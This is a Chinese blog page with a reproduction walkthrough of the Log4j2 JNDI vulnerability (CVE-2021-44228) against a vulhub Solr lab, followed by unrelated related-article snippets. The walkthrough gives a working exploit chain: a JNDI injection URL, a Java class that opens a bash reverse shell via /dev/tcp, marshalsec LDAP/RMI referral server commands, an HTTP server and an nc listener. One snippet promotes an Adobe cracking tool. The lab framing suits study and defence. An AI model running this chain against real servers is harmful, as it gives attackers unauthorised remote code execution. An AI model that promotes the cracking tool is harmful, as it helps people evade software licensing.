当前位置: 首页 > article >正文

log4j2(CVE-2021-44228)漏洞原理与漏洞复现(基于vulhub)

声明部分内容来源于网络如若侵权请联系删除什么是log4j2?Log for JavaApache的开源日志记录组件是一个Java的日志记录工具。在log4j框架的基础上进行了改进并引入了丰富的特性可以控制日志信息输送的目的地为控制台、文件、GUI组建等被应用于业务系统开发用于记录程序输入输出日志信息。什么是JNDIJNDI全称为Java命名和目录接口Java Naming and Directory Interface,是Java命名和目录服务的API它提供了一种统一的方式来访问不同的命名和目录服务比如LDAP轻量级目录访问协议和DNS域名系统。通过JNDIJava应用程序可以通过统一的接口访问各种不同的命名和目录服务而无需关心底层服务的具体实现细节什么是LDAP轻量级目录访问协议Lightweight Directory Access Protocol是一种用于访问和维护分布式目录服务的协议。目录服务是企业专属的统一身份数据库区别于存储订单、流水的业务数据库它专门存放员工账号、密码、部门、权限等相对固定的身份信息并以树形架构整理存储。LDAP是通用的通信协议规范了各类内网系统与目录服务器的交互规则。OA、业务系统、企业邮箱等所有内网应用都可通过LDAP协议连接服务器读写、校验用户身份与权限数据。这就是单点登录的核心原理企业只需在LDAP服务器录入一次员工账号信息无需为每个系统单独建号。用户登录任意内网系统时系统都会通过LDAP统一校验账号密码和权限验证通过即可登录。LDAP打通了各系统的数据壁垒实现多系统共用一套身份数据既支持一号多登的便捷登录方式也方便企业集中管控员工账号与权限大幅简化了企业身份管理工作。什么是rmiRMI 全称远程方法调用Remote Method Invocation是 Java 专属的远程通信技术核心作用是让一台电脑的 Java 程序可以直接调用另一台远程电脑的 Java 功能。漏洞原理该漏洞源于 Log4j2 日志组件支持 ${} 格式表达式解析自带 JNDI 命名查询能力。攻击者将包含 jndi 协议的恶意载荷注入可被日志记录的用户输入中程序打印日志时会识别并触发 JNDI 请求主动访问攻击者搭建的恶意服务地址远程加载恶意 Java 类文件并执行其中代码最终实现无授权远程代码执行攻击。vulhub靶场复现访问靶场环境1.第一步手工验证log4j漏洞是否存在DNSlog生成临时域名这里的目的是为了验证JNDI注入是否存在也就是漏洞是否存在以我这个为例访问这个接口。自己复现dnslog的域名记得修改http://192.168.85.132:8983/solr/admin/cores?action${jndi:ldap://${sys:java.version}.bquj3t.dnslog.cn}出现记录证明存在开始准备复现环境1.含恶意java代码的class文件2.开启一个ldap/rmi服务3.开启一个http服务存放恶意class文件使用这个软件marshalsec4.开启一个监听用来反弹连接第一步准备恶意脚本脚本里面执行了一个反弹连接注意复现时修改ip和端口importjava.lang.Runtime;importjava.lang.Process;publicclasshack{static{try{RuntimertRuntime.getRuntime();String[]commands{/bin/bash,-c,bash -i /dev/tcp/192.168.85.132/6666 01};Processpcrt.exec(commands);pc.waitFor();}catch(Exceptione){}}}然后编译一下成.class文件注意jdk版本作者jdk版本1.8.0_91Log4j2 版本2.0‑beta9 ~ 2.14.1含JDK 版本必须低于Java 6低于 6u211Java 7低于 7u201Java 8低于 8u191Java 11低于 11.0.1然后自己本机javac版本要和靶场一致不然失败本靶场是jdk1.8.0_102 所以你的javac版本只要是低于jdk1.8.0_191就行java-versionjavac-version第二步开启ldap或者rmi服务任选其一ldap#地址是你开启http服务的地址和端口一般本机ip8000端口 在后面是ldap服务的端口号java-cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServerhttp://10.9.18.253:8000/#hack7365rmijava-cpmarshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServerhttp://10.9.117.109:8000/#hack7365这里以ldap为例第三步准备http服务然后放入自己的恶意脚本自己进入恶意脚本的目录然后执行python-mhttp.server第四步开启反弹连接的监听脚本是6666端口咱们就监听这个在kali执行(或者本地下载一个netcat前往https://blog.csdn.net/muriyue6/article/details/107127217)nc-lvp6666复现环节现在准备工作结束开始漏洞利用http://192.168.85.132:8983/solr/admin/cores?action${jndi:ldap://10.9.18.253:7365/hack}向这个接口传参后我们的ldap和http服务都显示出访问日志代表利用成功回头看我们的代码被执行了成功反弹shell到此就复现结束了。

相关文章:

log4j2(CVE-2021-44228)漏洞原理与漏洞复现(基于vulhub)

声明:部分内容来源于网络,如若侵权请联系删除 什么是log4j2? Log for Java,Apache的开源日志记录组件,是一个Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送…...

如何构建现代自托管音乐播放器:音乐爱好者的完整使用指南

如何构建现代自托管音乐播放器:音乐爱好者的完整使用指南 【免费下载链接】feishin A modern self-hosted music player. 项目地址: https://gitcode.com/gh_mirrors/fe/feishin 在数字音乐时代,音乐爱好者面临着数据隐私、平台依赖和个性化体验的…...

排水管网可视化管理平台,免巡检、故障快速定位

城市排水管网线路长、节点多、覆盖范围广,传统人工巡检模式面临诸多痛点:巡检人员需步行逐一排查井盖、泵站、溢流口等关键设施,工作强度大、效率低,且难以保证巡检到位率和覆盖率。此外,人工无法全天候进行监管&#…...

2026实测:宁波初一数学小升初本土品牌深度拆解

在宁波,几乎每一位小升初、中考、高考的家长都绕不开一个共同情绪——焦虑。镇海、海曙、鄞州等教育强区的竞争热度连年不减,优质初中与重点高中的入学门槛水涨船高,而面对纷至沓来的教培选择,家长们却常常陷入两难:全…...

【限时公开】Anthropic内部文档评审Checklist泄露版:92%开发者忽略的8个Claude API语义一致性陷阱

更多请点击: https://codechina.net 第一章:Claude API文档编写的核心原则与语义一致性定义 编写高质量的Claude API文档,首要任务是坚守三大核心原则:可预测性、可验证性与可演进性。可预测性要求所有接口行为严格遵循OpenAPI 3…...

AI-HF_Patch终极指南:3步解锁AI-Shoujo完整游戏体验的秘诀

AI-HF_Patch终极指南:3步解锁AI-Shoujo完整游戏体验的秘诀 【免费下载链接】AI-HF_Patch Automatically translate, uncensor and update AI-Shoujo! 项目地址: https://gitcode.com/gh_mirrors/ai/AI-HF_Patch 还在为AI-Shoujo游戏的语言障碍、模组冲突和功…...

神眸低功耗芯片突破:让摄像头摆脱电线,2045年或迎1000亿只智能视觉终端!推理算力创业机会大

神眸低功耗芯片突破,开启智能视觉终端未来神眸致力于在算力浪潮下游,凭借极致低功耗芯片设计,使摄像头摆脱电线束缚,开启千亿只智能视觉终端的未来。杨作兴带领神眸实现了摄像头功耗降低一个数量级的突破。第一代芯片达到业界三分…...

基于 Git Flow 的团队协作与发布流程实践

在软件开发过程中,随着团队规模扩大、需求频繁迭代以及线上版本持续演进,如何管理代码分支成为影响研发效率的重要问题。上图展示的是一种经典的 Git 分支管理模型 —— Git Flow。 它通过明确的分支职责与合并策略,实现:功能开发…...

Adobe-GenP 3.0:为什么这款免费激活工具能让Adobe全家桶瞬间解锁?

Adobe-GenP 3.0:为什么这款免费激活工具能让Adobe全家桶瞬间解锁? 【免费下载链接】Adobe-GenP Adobe CC 2019/2020/2021/2022/2023 GenP Universal Patch 3.0 项目地址: https://gitcode.com/gh_mirrors/ad/Adobe-GenP 你是否曾经因为Adobe Crea…...

XZ63C,18V输入,CMOS输出电压检测芯片

产品概述这系列芯片是使用 CMOS 技术开发的高精度、低功耗、小封装电压检测芯片。检测电压在小温度漂移的情况下保持极高的精度。输出配置是 CMOS 输出。产品特点● 封装:SOT23-3,TO92● 输出配置:CMOS● 工作电压:1.5V-18V …...

XZ62N,0.7uA静态电流,NMOS输出电压检测芯片

产品概述 这系列芯片是使用 CMOS 技术开发的高精度、低功耗、小封装电压检测芯片。检测电压在小温度漂移的情况下保持极高的精度。输出配置是N-channel open drai 输出。 产品特点 ● 封装:SOT23-3 ● 输出配置:N-channel open drain ● 工作电压&a…...

2026大模型技术全景:从“写代码“到“做工程“

2026大模型技术全景:从"写代码"到"做工程"大模型技术正从"炫酷玩具"迈向"核心生产力工具"。本文从技术进展、关键方向、应用场景到未来趋势,全面梳理2026年大模型技术全景。一、引言 2026年,大模型技…...

2026年B2B制造业GEO优化服务商推荐:工业品牌AI搜索可见度提升实战指南

摘要:B2B制造业的品牌营销与消费品逻辑完全不同——技术参数、行业资质、项目案例才是AI推荐的核心素材。本文从B2B行业理解深度、结构化内容能力、合规安全保障三个维度,对比泓动数据、百分点科技、赛诺贝斯、大树科技、Laver AI五家服务商在工业制造业…...

谁还在用机械音?顶伯接入微软 TTS,让你视频瞬间拥有大片质感!

谁还在用机械音?顶伯接入微软 TTS,让你视频瞬间拥有大片质感!视频配音还在用那种一听就出戏的机械音吗?🚫 顶伯正式接入微软 TTS 引擎,带来媲美真人的语音合成体验。无论你是短视频创作者、课程讲师&#x…...

斯年智驾IGV精准定位 赋能集装箱智慧港口升级

在集装箱港口智能化作业中,IGV运输车的定位精度直接决定码头转运效率、对接精准度与作业安全性。集装箱装卸、堆存、转运环节衔接紧密,毫米级的定位偏差,都可能造成箱体对接错位、装卸卡顿、物流链路停滞等问题,严重影响港口整体作…...

顶伯 + 微软 TTS 对比 Edge 浏览器自带 TTS,差距有多大?

付费 vs 免费:顶伯 微软 TTS 对比 Edge 浏览器自带 TTS,差距有多大?在文字转语音领域,微软 TTS 技术一直备受好评,但不同平台的实现方式却带来截然不同的体验。顶伯文字转语音工具深度整合了微软 TTS 引擎&#xff0c…...

忆往游戏平台官网:正版怀旧手游官方下载与资讯中心

忆往游戏平台(又称 “忆往怀旧手游”)是安徽游昕网络科技有限公司官方认证的正版怀旧手游聚合平台,专注经典端游 IP 正版复刻与发行,主打 “零魔改、纯复古、散人友好”,为 80、90 后玩家提供安全、纯净、高还原的怀旧…...

拒绝“人肉搬砖”!实测AI Agent如何重塑制造企业供应链自动管理

【摘要】 站在2026年5月的技术交汇点,全球制造业正经历从“自动化”向“智能化”的深度跃迁。面对制造企业供应链管理中长期存在的系统围墙、数据孤岛及信创适配难等沉疴顽疾,传统的RPA工具与API集成方案已显疲态。本期「企服AI产品测评局」深度实测发现…...

无人机地面站软件完全指南:Mission Planner 新手快速上手教程

无人机地面站软件完全指南:Mission Planner 新手快速上手教程 【免费下载链接】MissionPlanner Mission Planner Ground Control Station for ArduPilot (c# .net) 项目地址: https://gitcode.com/gh_mirrors/mi/MissionPlanner Mission Planner 是一款功能强…...

python flash加一个字段

USE product_db; ALTER TABLE products ADD COLUMN remark TEXT COMMENT 商品备注信息,支持长文本 AFTER cost_price;2. 修改数据访问层(product_dao.py)需要在以下函数中添加 remark 字段的处理:修改 get_all_products 函数&…...

UPS电源部分

1.法国最好的ups 施耐德电器 美国最好的ups 伊顿 瑞士最好的ups ABB 日本最好的ups 三菱电器 台湾是 台达电子 对的吗2.施耐德电气 (Schneider Electric):虽然公司总部在法国,但其UPS业务的核心是旗下的APC(美国电力转换公司&…...

让薪酬跟着人才走:国企核心人才激励保留的五个管理命题

当前,国有企业三项制度改革已进入攻坚深化期。劳动合同签订率、岗位说明书覆盖率、绩效考核实施率等量化指标普遍处于高位,制度框架的“四梁八柱”已基本确立。但在改革向纵深推进过程中,核心人才流失问题却时有发生。据调研反映,…...

华南x79-8d 支持 E5-2680 V3 或者 E5-2680 V4吗

不支持。 华南金牌 X79-8D 主板仅支持 E5-2600系列V1和V2版本的处理器,无法兼容您提到的 E5-2680 V3 或 V4。以下是关于该主板CPU支持情况的详细说明:💡 为什么不支持 V3/V4?根本原因在于CPU的接口和主板芯片组不匹配:…...

如何在Windows 10/11上完美使用PS3手柄:DsHidMini虚拟HID驱动终极指南

如何在Windows 10/11上完美使用PS3手柄:DsHidMini虚拟HID驱动终极指南 【免费下载链接】DsHidMini Virtual HID Mini-user-mode-driver for Sony DualShock 3 Controllers 项目地址: https://gitcode.com/gh_mirrors/ds/DsHidMini 你是否还在为Windows系统无…...

多卡训练加速:HCCL 集合通信实战

前言 单卡训练慢,多卡又踩坑——梯度同步怎么配、拓扑怎么选、带宽怎么压满,这些细节决定分布式训练能不能真正提速。 HCCL(Huawei Collective Communication Library)是昇腾的多卡通信库,对标 NVIDIA 的 NCCL。它封装…...

【Anaconda】使用指南及问题汇总(自用)

安装 1. Anaconda的下载与安装 除了安装路径修改,其他的一路默认就好 2. Anaconda修改环境变量 因为我们这一步才手动添加环境变量,所以第一步安装的时候不要让它自动配置环境变量了。 用户变量或者系统变量都可以。建议系统变量,方便后…...

戴森球计划蓝图架构范式:从模块化设计到星际规模工程的技术演进

戴森球计划蓝图架构范式:从模块化设计到星际规模工程的技术演进 【免费下载链接】FactoryBluePrints 游戏戴森球计划的**工厂**蓝图仓库 项目地址: https://gitcode.com/GitHub_Trending/fa/FactoryBluePrints 在戴森球计划的工厂建设中,蓝图设计…...

2026 河北 GEO 优化服务商测评:理性看实力,盘古开物AI智推适配才是硬道理

覆盖石家庄、唐山、保定、邯郸、邢台,立足华北,辐射全国,不搞噱头,只讲真实能力随着生成式 AI 全面融入商业营销,GEO 优化已经从河北企业的可选服务,变成抢占区域流量、提升线上可见度的重要方式。尤其制造…...

3分钟快速指南:如何使用Forza Painter将任何图片变成《极限竞速》专业涂装

3分钟快速指南:如何使用Forza Painter将任何图片变成《极限竞速》专业涂装 【免费下载链接】forza-painter Import images into Forza 项目地址: https://gitcode.com/gh_mirrors/fo/forza-painter 还在为《极限竞速:地平线》系列游戏中复杂的车辆…...

Android 指纹浏览器开发教程三:WebView、Chromium 和壳层方案怎么选

导语 Android 指纹浏览器项目走到第三步,往往要面对第一个“分叉路口”:到底用系统 WebView、自编译 Chromium,还是在现有内核外面再套一层壳? 以 EasyBR 指纹浏览器为例,更关键的不是单点参数,而是整条配置…...